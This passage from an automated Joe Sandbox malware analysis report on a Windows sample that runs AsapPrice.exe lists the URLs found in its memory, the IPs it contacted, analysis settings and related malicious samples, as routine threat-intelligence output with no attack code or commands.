                                                      https://dk.search.yahoo.com/favicon.icohttps://dk.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                        		high
                                                        https://at.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                          		high
                                                          http://l.twimg.com/i/hpkp_reportAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                            		high
                                                            https://nextdns.io/privacyAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                              		high
                                                              https://malaysia.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                		high
                                                                http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.icohttps://hladaj.atlas.sk/fulltext/?pAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                  		high
                                                                  http://www.conduit.com/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                    		high
                                                                    https://crbug.com/tint.AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                      		high
                                                                      https://vn.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                        		high
                                                                        https://developers.google.com/speed/public-dns/privacyGoogleAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                          		high
                                                                          https://www.ask.com/web?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                            		high
                                                                            https://doh.opendns.com/dns-queryAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                              		high
                                                                              https://ph.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                		high
                                                                                https://www.ecosia.org/newtab/AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                  		high
                                                                                  http://www.conduit.com/favicon.icohttp://www.conduit.com/search?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                    		high
                                                                                    https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                      		high
                                                                                      https://tw.search.yahoo.com/favicon.icohttps://tw.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                        		high
                                                                                        https://www.delfi.lt/favicon.icohttps://www.delfi.lt/paieska/?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                          		high
                                                                                          http://search.imesh.net/music?hl=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                            		high
                                                                                            https://qc.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                              		high
                                                                                              https://sug.so.360.cn/suggest?encodein=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                		high
                                                                                                https://cl.search.yahoo.com/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                  		high
                                                                                                  https://yandex.kz/images/search/?rpt=imageviewAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                    		high
                                                                                                    https://coccoc.com/search#query=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                      		high
                                                                                                      https://www.yandex.by/chrome/newtabAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                        		high
                                                                                                        https://crbug.com/dawn/633AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                          		high
                                                                                                          https://ph.search.yahoo.com/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                            		high
                                                                                                            http://www.walla.co.il/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                              		high
                                                                                                              https://crbug.com/dawn/1071AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                		high
                                                                                                                https://go.mail.ru/chrome/newtab/AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://id.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://uk.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                      		high
                                                                                                                      http://www.neti.ee/cgi-bin/otsing?query=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://petalsearch.com/search?query=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupportAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                          • Avira URL Cloud: safe
                                                                                                                          		unknown
                                                                                                                          http://ok.hu/gfx/favicon.icohttp://ok.hu/katalogus?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://bugs.chromium.org/p/dawn/issues/detail?id=690AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://qc.search.yahoo.com/favicon.icohttps://qc.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://dns.google/dns-queryAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://ph.search.yahoo.com/favicon.icohttps://ph.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://oceanhero.today/web?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://crbug.com/newCheckIfAudioThreadIsAliveMedia.AudioThreadStatusCreatingAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://ch.search.yahoo.com/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/CloudflareAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://crbug.com/dawn/582AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              https://crbug.com/dawn/1083AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                https://crbug.com/dawn/343AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  https://crbug.com/dawn/342AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    http://imgs.sapo.pt/images/sapo.icohttp://pesquisa.sapo.pt/?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://nl.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        https://in.search.yahoo.com/favicon.icohttps://in.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          https://search.goo.ne.jp/cdn/common/img/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            https://crbug.com/tint/1003AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              http://ak.apnstatic.com/media/images/favicon_search-results.icohttp://dts.search-results.com/sr?lng=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://www.sogou.com/images/logo/old/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  https://in.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    http://search.imesh.net/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      https://pe.search.yahoo.com/favicon.icohttps://pe.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        https://crbug.com/dawn/792AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                          		high
                                                                                                                                                                          http://arianna.libero.it/search/abin/integrata.cgi?query=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            https://odvr.nic.cz/dohAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              https://crbug.com/dawn/673AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                http://imgs.sapo.pt/images/sapo.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://search.privacywall.org/suggest.php?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    https://de.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://ar.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        https://www.quad9.net/home/privacy/AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          https://www.yandex.ua/chrome/newtabAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            https://id.search.yahoo.com/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              https://search.daum.net/search?w=tot&DA=JU5&q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                                		high
                                                                                                                                                                                                https://search.naver.com/search.naver?ie=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                                  		high
                                                                                                                                                                                                  https://search.daum.net/favicon.icohttps://search.daum.net/search?w=tot&DA=JU5&q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                                    		high
                                                                                                                                                                                                    http://nigma.ru/themes/nigma/img/favicon.icohttp://nigma.ru/?s=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                                      		high
                                                                                                                                                                                                      https://doh.cleanbrowsing.org/doh/adult-filterAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                                                                                                                                        		high

                                                                                                                                                                                                        World Map of Contacted IPs

                                                                                                                                                                                                        • No. of IPs < 25%
                                                                                                                                                                                                        • 25% < No. of IPs < 50%
                                                                                                                                                                                                        • 50% < No. of IPs < 75%
                                                                                                                                                                                                        • 75% < No. of IPs

                                                                                                                                                                                                        Public IPs

                                                                                                                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                        91.184.243.198
                                                                                                                                                                                                        		unknownRussian Federation
                                                                                                                                                                                                        		41745IPNET-RUSSIA-ASRUfalse
                                                                                                                                                                                                        142.250.181.228
                                                                                                                                                                                                        		www.google.comUnited States
                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                        172.64.41.3
                                                                                                                                                                                                        		chrome.cloudflare-dns.comUnited States
                                                                                                                                                                                                        		13335CLOUDFLARENETUSfalse

                                                                                                                                                                                                        General Information

                                                                                                                                                                                                        Joe Sandbox version:42.0.0 Malachite
                                                                                                                                                                                                        Analysis ID:1590542
                                                                                                                                                                                                        Start date and time:2025-01-14 08:55:17 +01:00
                                                                                                                                                                                                        Joe Sandbox product:CloudBasic
                                                                                                                                                                                                        Overall analysis duration:0h 9m 49s
                                                                                                                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                                                                                                                        Report type:full
                                                                                                                                                                                                        Cookbook file name:default.jbs
                                                                                                                                                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                        Number of analysed new started processes analysed:59
                                                                                                                                                                                                        Number of new started drivers analysed:0
                                                                                                                                                                                                        Number of existing processes analysed:0
                                                                                                                                                                                                        Number of existing drivers analysed:0
                                                                                                                                                                                                        Number of injected processes analysed:0
                                                                                                                                                                                                        Technologies:
                                                                                                                                                                                                        • HCA enabled
                                                                                                                                                                                                        • EGA enabled
                                                                                                                                                                                                        • AMSI enabled
                                                                                                                                                                                                        Analysis Mode:default
                                                                                                                                                                                                        Analysis stop reason:Timeout
                                                                                                                                                                                                        Sample name:LN1lgDlZ8e.exe
                                                                                                                                                                                                        renamed because original name is a hash value
                                                                                                                                                                                                        Original Sample Name:bffec03a0774af5b87eab0eb4a2f75d3b6c1d580bd5b2d95f5bfded52019527c.exe
                                                                                                                                                                                                        Detection:MAL
                                                                                                                                                                                                        Classification:mal48.evad.winEXE@80/169@3/3
                                                                                                                                                                                                        EGA Information:Failed
                                                                                                                                                                                                        HCA Information:
                                                                                                                                                                                                        • Successful, ratio: 100%
                                                                                                                                                                                                        • Number of executed functions: 0
                                                                                                                                                                                                        • Number of non-executed functions: 0
                                                                                                                                                                                                        Cookbook Comments:
                                                                                                                                                                                                        • Found application associated with file extension: .exe

                                                                                                                                                                                                        Warnings

                                                                                                                                                                                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                                                                                                        • Excluded IPs from analysis (whitelisted): 142.251.40.195, 20.109.210.53, 184.28.90.27, 4.245.163.56
                                                                                                                                                                                                        • Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                        • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                                                                                                        • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                                                                                                                                                        Simulations

                                                                                                                                                                                                        Behavior and APIs

                                                                                                                                                                                                        TimeTypeDescription
                                                                                                                                                                                                        02:56:51API Interceptor386x Sleep call for process: powershell.exe modified

                                                                                                                                                                                                        Joe Sandbox View / Context

                                                                                                                                                                                                        IPs

                                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                        172.64.41.3Handler.exeGet hashmaliciousDanaBot, VidarBrowse
                                                                                                                                                                                                          JUbmpeT.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                            Cardfactory Executed Agreement DocsID- Sign & Review..emlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                              3bSDIpSIdF.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                3bSDIpSIdF.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  mNPTwHOuvT.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                    